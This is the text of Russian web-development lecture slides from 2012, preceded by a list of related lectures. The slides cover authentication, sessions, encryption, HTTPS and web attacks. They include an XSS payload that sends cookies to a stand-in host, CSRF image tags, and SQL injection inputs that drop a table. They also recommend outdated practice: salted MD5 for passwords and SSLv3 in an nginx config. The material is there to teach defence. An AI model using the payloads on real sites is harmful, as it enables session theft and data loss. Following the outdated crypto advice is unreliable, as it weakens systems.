Лекция 3. Распределённая файловая система HDFSTechnopark
 
Лекция 2. Основы Hadoop
Лекция 2. Основы HadoopЛекция 2. Основы Hadoop
Лекция 2. Основы HadoopTechnopark
 
Лекция 1. Введение в Big Data и MapReduce
Лекция 1. Введение в Big Data и MapReduceЛекция 1. Введение в Big Data и MapReduce
Лекция 1. Введение в Big Data и MapReduceTechnopark
 
СУБД 2013 Лекция №10 "Нереляционное решение в области баз данных — NoSQL"
СУБД 2013 Лекция №10 "Нереляционное решение в области баз данных — NoSQL"СУБД 2013 Лекция №10 "Нереляционное решение в области баз данных — NoSQL"
СУБД 2013 Лекция №10 "Нереляционное решение в области баз данных — NoSQL"Technopark
 
СУБД 2013 Лекция №10 "Нереляционное решение в области баз данных — NoSQL" Час...
СУБД 2013 Лекция №10 "Нереляционное решение в области баз данных — NoSQL" Час...СУБД 2013 Лекция №10 "Нереляционное решение в области баз данных — NoSQL" Час...
СУБД 2013 Лекция №10 "Нереляционное решение в области баз данных — NoSQL" Час...Technopark
 
СУБД 2013 Лекция №9 "Безопасность баз данных"
СУБД 2013 Лекция №9 "Безопасность баз данных"СУБД 2013 Лекция №9 "Безопасность баз данных"
СУБД 2013 Лекция №9 "Безопасность баз данных"Technopark
 
СУБД 2013 Лекция №8 "Конфигурирование базы данных"
СУБД 2013 Лекция №8 "Конфигурирование базы данных"СУБД 2013 Лекция №8 "Конфигурирование базы данных"
СУБД 2013 Лекция №8 "Конфигурирование базы данных"Technopark
 
СУБД 2013 Лекция №7 "Оптимизация запросов и индексирование"
СУБД 2013 Лекция №7 "Оптимизация запросов и индексирование"СУБД 2013 Лекция №7 "Оптимизация запросов и индексирование"
СУБД 2013 Лекция №7 "Оптимизация запросов и индексирование"Technopark
 
СУБД 2013 Лекция №5 "Определение узких мест"
СУБД 2013 Лекция №5 "Определение узких мест"СУБД 2013 Лекция №5 "Определение узких мест"
СУБД 2013 Лекция №5 "Определение узких мест"Technopark
 
СУБД 2013 Лекция №6 "Профилирование запросов. Сложноструктурированные SQL-зап...
СУБД 2013 Лекция №6 "Профилирование запросов. Сложноструктурированные SQL-зап...СУБД 2013 Лекция №6 "Профилирование запросов. Сложноструктурированные SQL-зап...
СУБД 2013 Лекция №6 "Профилирование запросов. Сложноструктурированные SQL-зап...Technopark
 

More from Technopark (20)

Лекция 11. Вычислительная модель Pregel
Лекция 11. Вычислительная модель PregelЛекция 11. Вычислительная модель Pregel
Лекция 11. Вычислительная модель Pregel
 
Лекция 14. Hadoop в Поиске Mail.Ru
Лекция 14. Hadoop в Поиске Mail.RuЛекция 14. Hadoop в Поиске Mail.Ru
Лекция 14. Hadoop в Поиске Mail.Ru
 
Лекция 13. YARN
Лекция 13. YARNЛекция 13. YARN
Лекция 13. YARN
 
Лекция 12. Spark
Лекция 12. SparkЛекция 12. Spark
Лекция 12. Spark
 
Лекция 10. Apache Mahout
Лекция 10. Apache MahoutЛекция 10. Apache Mahout
Лекция 10. Apache Mahout
 
Лекция 9. ZooKeeper
Лекция 9. ZooKeeperЛекция 9. ZooKeeper
Лекция 9. ZooKeeper
 
Лекция 7. Введение в Pig и Hive
Лекция 7. Введение в Pig и HiveЛекция 7. Введение в Pig и Hive
Лекция 7. Введение в Pig и Hive
 
Лекция 6. MapReduce в Hadoop (графы)
Лекция 6. MapReduce в Hadoop (графы)Лекция 6. MapReduce в Hadoop (графы)
Лекция 6. MapReduce в Hadoop (графы)
 
Лекция 5. MapReduce в Hadoop (алгоритмы)
Лекция 5. MapReduce в Hadoop (алгоритмы)Лекция 5. MapReduce в Hadoop (алгоритмы)
Лекция 5. MapReduce в Hadoop (алгоритмы)
 
Лекция 4. MapReduce в Hadoop (введение)
Лекция 4. MapReduce в Hadoop (введение)Лекция 4. MapReduce в Hadoop (введение)
Лекция 4. MapReduce в Hadoop (введение)
 
Лекция 3. Распределённая файловая система HDFS
Лекция 3. Распределённая файловая система HDFSЛекция 3. Распределённая файловая система HDFS
Лекция 3. Распределённая файловая система HDFS
 
Лекция 2. Основы Hadoop
Лекция 2. Основы HadoopЛекция 2. Основы Hadoop
Лекция 2. Основы Hadoop
 
Лекция 1. Введение в Big Data и MapReduce
Лекция 1. Введение в Big Data и MapReduceЛекция 1. Введение в Big Data и MapReduce
Лекция 1. Введение в Big Data и MapReduce
 
СУБД 2013 Лекция №10 "Нереляционное решение в области баз данных — NoSQL"
СУБД 2013 Лекция №10 "Нереляционное решение в области баз данных — NoSQL"СУБД 2013 Лекция №10 "Нереляционное решение в области баз данных — NoSQL"
СУБД 2013 Лекция №10 "Нереляционное решение в области баз данных — NoSQL"
 
СУБД 2013 Лекция №10 "Нереляционное решение в области баз данных — NoSQL" Час...
СУБД 2013 Лекция №10 "Нереляционное решение в области баз данных — NoSQL" Час...СУБД 2013 Лекция №10 "Нереляционное решение в области баз данных — NoSQL" Час...
СУБД 2013 Лекция №10 "Нереляционное решение в области баз данных — NoSQL" Час...
 
СУБД 2013 Лекция №9 "Безопасность баз данных"
СУБД 2013 Лекция №9 "Безопасность баз данных"СУБД 2013 Лекция №9 "Безопасность баз данных"
СУБД 2013 Лекция №9 "Безопасность баз данных"
 
СУБД 2013 Лекция №8 "Конфигурирование базы данных"
СУБД 2013 Лекция №8 "Конфигурирование базы данных"СУБД 2013 Лекция №8 "Конфигурирование базы данных"
СУБД 2013 Лекция №8 "Конфигурирование базы данных"
 
СУБД 2013 Лекция №7 "Оптимизация запросов и индексирование"
СУБД 2013 Лекция №7 "Оптимизация запросов и индексирование"СУБД 2013 Лекция №7 "Оптимизация запросов и индексирование"
СУБД 2013 Лекция №7 "Оптимизация запросов и индексирование"
 
СУБД 2013 Лекция №5 "Определение узких мест"
СУБД 2013 Лекция №5 "Определение узких мест"СУБД 2013 Лекция №5 "Определение узких мест"
СУБД 2013 Лекция №5 "Определение узких мест"
 
СУБД 2013 Лекция №6 "Профилирование запросов. Сложноструктурированные SQL-зап...
СУБД 2013 Лекция №6 "Профилирование запросов. Сложноструктурированные SQL-зап...СУБД 2013 Лекция №6 "Профилирование запросов. Сложноструктурированные SQL-зап...
СУБД 2013 Лекция №6 "Профилирование запросов. Сложноструктурированные SQL-зап...
 

Web весна 2012 лекция 11

  • 2. Терминология Аутентификация – процедура проверки подлинности. Варианты: логин/пароль, одноразовые пароли, токены, открытые ключи, биометрия и т.д. Авторизация – предоставление субъекту прав на выполнение определенных действий. Варианты: HTTP запрос по определенному URL, изменение объекта, чтение/запись/запуск файла. Кодирование – преобразование данных с целью передачи по определенному каналу связи. Шифрование – преобразование данных с целью сокрытия информации от третьего лица.
  • 3. HTTP Авторизация 1) Сервер HTTP/1.1 401 Unauthorized WWW-Authenticate: Basic realm=”admin” 2) Браузер показывает диалог ввода логина/пароля 3) Браузер Authorization: Basic dXNlcjpwYXNzCg== 4) Сервер Проверяет логин/пароль HTTP/1.1 200 OK HTTP/1.1 403 Access Denied
  • 4. HTTP Авториазация В CGI скрипте – переменная REMOTE_USER Нет операции “логаута” Достоинства и недостатки
  • 5. Настройка HTTP авторизации Location / { # nginx auth_basic "closed site"; auth_basic_user_file conf/myhtpasswd; } <Location /secure> # Apache AuthType basic AuthName "private area" AuthBasicProvider dbm AuthDBMType SDBM AuthDBMUserFile /www/etc/dbmpasswd Require valid-user </Location>
  • 6. location / { satisfy any; allow 192.168.1.0/24; allow 2001:0db8::/32; deny all; auth_basic "closed site"; auth_basic_user_file conf/myhtpasswd; } htpasswd – файл с паролями (зашифрованый) htpasswd -m ./myhtpasswd user pass – добавить Htpasswd -D ./myhtpasswd user – удалить
  • 7. Cookies 1) Установка: Set-Cookie: name=value; Path=/page; Domain=mail.ru; Expires=Wed, 13-Jan-2021 22:23:01 GMT; Secure; HttpOnly Secure – только по HTTPS (доступны через JS) HttpOnly – только по HTTP (не доступны через JS) 2) Получение: Cookie: name1=value1; name2=value2 3) В JavaScript document.cookie = 'name=value; . . .'; var cookie = document.cookie;
  • 8. Профили и сессии Профиль – информация о пользователе - id - login - пароль - email, имя пользователя, пол и т.п. Сессия – информация о подключении - ключ сессии (то что в Cookie) - данные сессии (id пользователя, корзина..) - ip-адрес, дата создания сессии Сессии устаревают и удаляются, профили – нет. Сессия – в быстром хранилище, Memcached
  • 9. Как хранить и передавать пароли? 1) Не храните пароль в чистом виде. MD5. 2) Не храните MD5 в чистом виде. Соль. 3) Не используйте слово “Соль” в кач-ве соли. 4) Не передавайте пароли в GET запросах. 5) Не выводите пароли в логах сервера. 6) Не выводите пароли на WWW страницу.
  • 11. Сценарий регистрации 1) /register_form → показываем форму регистрации (возможно генерируем CAPTCHA) 2) Пользователь заполняет форму, делает POST 3) /register → регистрация пользователя - проверить входные данные - проверить правильность captcha - вычислить md5(пароль + соль) - добавить запись в таблицу Users - создать сессию (user_id = new_user.id) - установить куку (session=new_session.key)
  • 12. Сценарий аутентификации 1) /login_form → показываем форму логина 2) Пользователь заполняет форму, делает POST 3) /login → аутентификация пользователя - загрузить пользователя из Users по login - вычислить md5(пароль + соль) - сравнить с тем, что хранится в БД - нет пользователя или md5 не совпал → отказ - создать сессию (user_id = user.id) - установить куку (session=new_session.key) - удалить старые сессии Теперь у пользователя есть ключ, а у нас сессия
  • 13. Сценарий авторизации 1) /any → пользователь делает любой запрос, браузер передает Cookie: session=asHnjs732j... 2) Нет куки → /login_form (302 redirect) 3) Загружаем из Sessions данные сессии по session 4) Нет сессии или устарела → /login_form 5) Обновляем дату использования сессии 6) Загружаем из Users информаци о пользователе по session.user_id Теперь у нас есть объекты session и user!
  • 14. Сценарий восстановления пароля 1) /restore_form → пользователь указывает email или login с которым он регистрировался 2) /send_restore → высылаем письмо - создаем Ticket (key, user_id, дата) - высылаем письмо с ticket.key на указанный email 3) Пользователь открывает письмо и переходит по ссылке 4) /restore/?key=shdf32ndfsdjf2434n → пользователь вводит новый пароль Тут мы уверены, что пользователь обладает email'ом, т.к. key угадать трудно
  • 15. Авторизация и кэш Set-Cookie и кеширование (proxy) не совместимы. /page/ – страница в кеше, в ней есть SSI: <!--# include virtual=”/auth/” --> /auth/ - легкая страница не кешируется: <!--# set var=”Email” value=”me@mail.ru” --> <!--# set var=”Name” value=”Pupkin” --> <script> document.cookie='session=dsfskjdfwen32323rds'; </script>
  • 17. Симметричное шифрование 1) Алиса и Боб обладают общим секретным ключом (K) 2) Алиса шифрует текст(Т) с помощью К, получает шифрограмму(Ш) 3) Алиса передает шифрограмму(Ш) по незащищенному каналу связи (TCP например) 4) Боб получает шифрограмму(Ш) 5) Боб расшифровывает ее с помощью ключа(К) и получает исходный текст Плюсы: Быстро! Минусы: Нужен общий ключ. Примеры: AES, DES, Blowfish, ГОСТ 28147-89
  • 18. Ассиметричное шифрование Используется пара связанных ключей: Открытый(public) – для шифрования Закрытый(private) – для дешифрования 1) Алиса, используя открытый ключ Боба, создает шифрограмму и передает ее. 2) Боб, используя закрытый ключ, дешифрует ее и получает исходный текст. Плюсы: открытый ключ Минусы: скорость Примеры: RSA, DSA, Elgamal
  • 19. Fingerprint и сертификат fingerprint – хэш функция от публичного ключа 68:a6:77:eb:18:8f:b1:34:fe:81:f6:33:c3:02:31:93 Цифровой сертификат – цифровой документ, подтверждающий принадлежность владельцу публичного ключа (на некоторое время) Каждый сертификат связан с центром сертификации, который его изготовил и подписал. Сертификационные центры образуют иерархию. Корневые центры известны априори.
  • 20. SSL – Secure Socket Layer SSL работает поверх TCP и обеспечивает установление безопасного соединения между клиентом и сервером Свойства: - аутентификация сервера - опциональная аутентификация клиента - шифрование канала передачи - целосность сообщений (защита от изменений) - поддерживает различные алгоритмы шифрования и обмена ключами HTTPS – это HTTP поверх SSL (порт 443)
  • 21.
  • 22. Настройка HTTPS server { listen 443; keepalive_timeout 70; ssl on; ssl_protocols SSLv3 TLSv1 TLSv1.1 TLSv1.2; ssl_ciphers AES128-SHA:AES256-SHA; ssl_certificate /usr/local/nginx/conf/cert.pem; ssl_certificate_key /usr/local/nginx/conf/cert.key; ssl_session_cache shared:SSL:10m; ssl_session_timeout 10m; ... }
  • 23. Same Origin Policy Цель: исключить нежелательное взаимодействие между сторонними сайтами. Сторонние сайты – сайты на разных DNS доменах. Общий принцип: - данные установленные в одном домене будут видны только в нем - браузер запрещает вызывать JS методы объектов из другого домена - браузер запрещает кросдоменные запросы
  • 24. SOP и Cookie - У каждой cookie есть домен - По умолчанию – это домен сайта, установившего куку - Можно указать домен на 1 уровень короче текущего, например Domain=.mail.ru - При всех запросах к домену site.group.com браузер отправляет куки только для домена site.group.com и .group.com - JavaScript, выполняющийся на странице site.group.com имеет доступ к тем же кукам (за исключением HttpOnly)
  • 25. SOP и DOM - Странички (окна) могут ссылаться друг на друга (window.open, window.opener, etc..) - Если у 2 страниц совпадают протокол, хост и порт (кроме IE) – эти страницы могут взаимодействовать через JS window.opener.body.innerHTML = 'Hello!' - Если 2 страницы в смежных доменах (a.group.com и b.group.com) понизили домен до group.com – они могут взаимодействовать window.domain = 'group.com'; //обе страницы Window.opener.someFunction('data');
  • 26. SOP и AJAX Все просто: у вас не получится сделать AJAX запрос на другой домен. Альтернатива: JSONP Запрос: <scrtipt src=”http://alien.com/getdata? id=1&callback=gotData”></script> Ответ: gotData({ 'object' : { . . . } });
  • 27. SOP и Flash - В отличие от JS, Flash ориентируется не домен сайта, а на домен с которого был загружен flash-объект - Для того что бы полчить доступ к данным домена документа Flash загружает специальный файл – crossdomain.xml <cross-domain-policy> <allow-access-from domain="*.mail.ru" to-ports="*"/> <allow-http-request-headers-from domain="*.mail.ru" headers="*"/> <site-control permitted-cross-domain-policies="all"/> </cross-domain-policy>
  • 28.
  • 29. XSS – Сross Site Scripting Безобидная шалость: <script> alert(1); </script> Кража сессии (и как следсвтие авторизации): <script> var s = document.createElement('script'); s.src = 'http://hackers.com/gotIt/?cookie' + encodeURIComponent(document.cookie); document.body.appendChild(s); </script>
  • 30. XSS – Сross Site Scripting Как внедрить: - тэг <script> - возможно, нужно разорвать верстку '”/> - использовать протокол javascript: Как бороться: - экранированить выводимые данные, {{ var }} - экранировать входные данные - очищать входные данные (тэги и атрибуты) - Использовать BBCodes [b] [i] [a] [img=...]
  • 31. CSRF – Cross Site Resource Forgery Причина: браузер разрешает кросс-доменные GET Размещаем на любом посещаемом сайте (blog.com): <img src=”http://victim.com/post? message=wanna+kill+all+humans” /> <img src=”http://victim.com/logout” /> В результате все посетители blog.com, которые авторизованы на victim.com совершат действия, о которых даже не будут знать. victim.com и blog.com могут быть одним сайтом!
  • 32. CSRF – Cross Site Resource Forgery Как бороться: - проверять метод запроса (только POST) - проверять Referer (не надежно) - использовать csrf_token 1) создаем длинный, новый для каждого пользователя/запроса ключ (токен) 2) устанавливаем этот ключ в Cookie 3) добавляем этот ключ к каждой форме на сайте victim.com 4) запросы с blog.com не будут содержать этот скрытый токен
  • 35. SQL инъекции Пример: id = request.REQUEST['id'] sql = 'select * from P where id = ' + id Передаем id = 3; drop table users; и … n = request.REQUEST['name'] sql = “select * from U where name = '%s'” % n Передаем n = bla'; drop table users; и …
  • 36. SQL инъекции Как бороться: - использовать placeholders sql = 'select * from U where id = ?' - использовать квотирование id = quote_sql(id) sql = 'select * from U where id = ' + id - использовать ORM SQL сервера имеют свою защиту: - запрещают несколько запросов в одном пакете